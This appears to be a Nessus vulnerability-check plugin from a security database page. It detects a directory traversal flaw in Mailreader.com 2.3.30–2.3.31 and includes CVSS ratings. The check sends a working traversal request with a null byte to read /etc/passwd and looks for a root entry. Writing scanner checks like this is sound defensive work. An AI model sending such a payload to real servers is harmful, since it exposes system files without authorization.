Lucene search

K
nessusThis script is Copyright (C) 2003-2021 Tenable Network Security, Inc.MAILREADER.NASL
HistoryJun 26, 2003 - 12:00 a.m.

Mailreader 2.3.30 - 2.3.31 Multiple Vulnerabilities

2003-06-2600:00:00
This script is Copyright (C) 2003-2021 Tenable Network Security, Inc.
www.tenable.com
19

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.016

Percentile

87.5%

Mailreader.com software is installed. A directory traversal flaw allows anybody to read arbitrary files on your system.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#

# References:
# Date: Mon, 28 Oct 2002 17:48:04 +0800
# From: "pokleyzz" <[email protected]>
# To: "bugtraq" <[email protected]>, 
#  "Shaharil Abdul Malek" <[email protected]>, 
#  "sk" <[email protected]>, "pokley" <[email protected]>, 
#  "Md Nazri Ahmad" <[email protected]> 
# Subject: SCAN Associates Advisory : Multiple vurnerabilities on mailreader.com
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if(description)
{
  script_id(11780);
  script_version("1.23");
  script_cve_id("CVE-2002-1581", "CVE-2002-1582");
  script_bugtraq_id(5393, 6055, 6058);

  script_name(english:"Mailreader 2.3.30 - 2.3.31 Multiple Vulnerabilities");

 script_set_attribute(attribute:"synopsis", value:
"It is possible to access arbitrary file on the remote host." );
 script_set_attribute(attribute:"description", value:
"Mailreader.com software is installed. A directory traversal flaw 
allows anybody to read arbitrary files on your system." );
 script_set_attribute(attribute:"solution", value:
"Upgrade to v2.3.32 or later" );
 script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N");
 script_set_cvss_temporal_vector("CVSS2#E:U/RL:OF/RC:C");
 script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
 script_set_attribute(attribute:"exploit_available", value:"true");

 script_set_attribute(attribute:"plugin_publication_date", value: "2003/06/26");
 script_set_attribute(attribute:"vuln_publication_date", value: "2002/10/28");
 script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();


  script_summary(english:"Checks directory traversal & version number of mailreader.com software");
  script_category(ACT_ATTACK);
  script_copyright(english:"This script is Copyright (C) 2003-2021 Tenable Network Security, Inc.");
  script_family(english:"CGI abuses");
  script_dependencie("http_version.nasl", "find_service1.nasl", "no404.nasl", "webmirror.nasl");
  script_require_ports("Services/www", 80);
  script_exclude_keys("Settings/disable_cgi_scanning");

  exit(0);
}

include("global_settings.inc");
include("misc_func.inc");
include("http.inc");

port = get_http_port(default:80);

foreach dir (make_list(cgi_dirs()))
{
  w = http_send_recv3(method:"GET", port: port, item: strcat(dir, "/nph-mr.cgi?do=loginhelp&configLanguage=../../../../../../../etc/passwd%00"));
  if (isnull(w)) exit(1, "The web server on port "+port+" did not answer");
  r2 = strcat(w[0], w[1], '\r\n', w[2]);
  
  if ("Powered by Mailreader.com" >< r2 && r2 =~ "root:[^:]*:0:[01]:")
  {
   security_warning(port);
   exit(0);
  }
}

CVSS2

10

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

COMPLETE

Integrity Impact

COMPLETE

Availability Impact

COMPLETE

AV:N/AC:L/Au:N/C:C/I:C/A:C

EPSS

0.016

Percentile

87.5%